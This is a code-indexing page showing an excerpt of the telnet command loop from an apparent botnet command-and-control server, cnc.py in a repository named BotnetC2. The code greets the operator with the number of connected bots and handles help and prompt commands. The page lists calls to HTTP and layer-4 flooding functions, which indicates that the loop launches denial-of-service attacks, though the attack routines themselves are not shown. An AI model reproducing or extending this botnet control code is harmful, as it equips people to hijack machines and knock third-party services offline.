MCPcopy Create free account
hub / github.com/Hex1629/BotnetC2 / command_line

Function command_line

BOTNETc2/cnc.py:242–531  ·  view source on GitHub ↗
(client)

Source from the content-addressed store, hash-verified

240
241# Telnet Command Line
242def command_line(client):
243 global socket_loader
244 global otp_code
245 global DATA_TEXT
246 global TIITLE_MESSAGE
247 global message_test
248 loadering(client)
249 color_random = f'\x1b[38;5;{randint(0,255)}m'
250 for x in banner_2.split('\n'):
251 send(client,f'{color_random}'+x)
252 time.sleep(0.2)
253 send(client,f'{color_random}')
254 send(client, f"{Fore.GREEN}WELCOME TO BOTNET.CNC -> USER-{user_name} BOTNET-{len(bots)} 📡")
255 send(client, f"{Fore.YELLOW} credit: NixWasHere/NixC2 OWNER code")
256 prompt = f'{Fore.CYAN}BOT.c2 {Fore.GREEN}$ '
257 send(client, prompt, False)
258
259 while 1:
260 try:
261 data = client.recv(99999999).decode().strip()
262 if not data:
263 continue
264
265 args = data.split(' ')
266 command = args[0].upper()
267
268 color_random = f'\x1b[38;5;{randint(0,255)}m'
269 if command == 'HELP':
270 loadering(client)
271 color_random = f'\x1b[38;5;{randint(0,255)}m'
272 for x in banner.split('\n'):
273 send(client,f'{color_random}'+x)
274 time.sleep(0.2)
275 data = ""
276 if len(args) == 2:
277 data = args[1]
278 color_random = f'\x1b[38;5;{randint(0,255)}m'
279 if "ALL_TOOL" in data:
280 for x in help.split('\n'):
281 send(client,f'{color_random}'+x)
282 else:
283 color_random = f'\x1b[38;5;{randint(0,255)}m'
284 for x in help.split('\n'):
285 send(client,f'{color_random}'+x)
286 color_random = f'\x1b[38;5;{randint(0,255)}m'
287 send(client,f'{color_random}YOU CAN USE THIS COMMAND -->')
288 send(client,f'{color_random}HELP [MODE]')
289 send(client,f'{color_random}[MODE] --> ALL_TOOL')
290 elif command == "SET_PROMPT":
291 data_prompt_checker = "YES"
292 prompt_code = ""
293 prompt_code_color = ""
294 if len(args) == 3:
295 prompt_code = args[1]
296 prompt_code_color = args[2]
297 if prompt_code == "OLD_PROMPT":
298 prompt = f'{Fore.CYAN}BOT.c2 {Fore.GREEN}$ '
299 elif prompt_code == "OLD_PROMPT2":

Callers

nothing calls this directly

Calls 10

color2Function · 0.85
loaderingFunction · 0.70
sendFunction · 0.70
get_locationFunction · 0.70
broadcastFunction · 0.70
all_layer4Function · 0.70
http_flooding_sent1Function · 0.70
all_sent1Function · 0.70
http_req_allFunction · 0.70
http_req2Function · 0.70

Tested by

no test coverage detected